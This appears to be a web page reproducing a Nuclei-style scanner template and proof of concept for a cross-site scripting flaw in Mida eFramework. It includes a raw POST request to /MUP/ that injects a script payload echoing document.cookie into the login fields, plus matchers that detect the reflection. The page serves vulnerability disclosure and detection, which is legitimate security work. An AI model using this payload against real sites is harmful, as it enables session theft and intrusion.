mida-eframework-xss: Mida eFramework - Cross-Site Scripting

2025-08-01 Mida eFramework PoC Public

Description

Mida eFramework contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: mida-eframework-xss

info:
  name: Mida eFramework - Cross-Site Scripting
  author: pikpikcu
  severity: high
  description: Mida eFramework contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://www.exploit-db.com/exploits/48768
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-80
  metadata:
    max-request: 1
  tags: mida,xss,edb,vuln

http:
  - raw:
      - |
        POST /MUP/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{Hostname}}/MUP

        UPusername=%22%3E%3Cscript%3Ejavascript%3Aalert%28document.cookie%29%3C%2Fscript%3E&UPpassword=%22%3E%3Cscript%3Ejavascript%3Aalert%28document.cookie%29%3C%2Fscript%3E

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - '"><script>javascript:alert(document.cookie)</script>'
# digest: 4a0a00473045022036c6434ac9ff49b7c76afee9ec005c2c98a42a2fe94fc6ddff4e501d418d7ccf022100e4a58059930ec8e688466164d7f92da306a75a56eed30dda886bd229b14e07a9:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities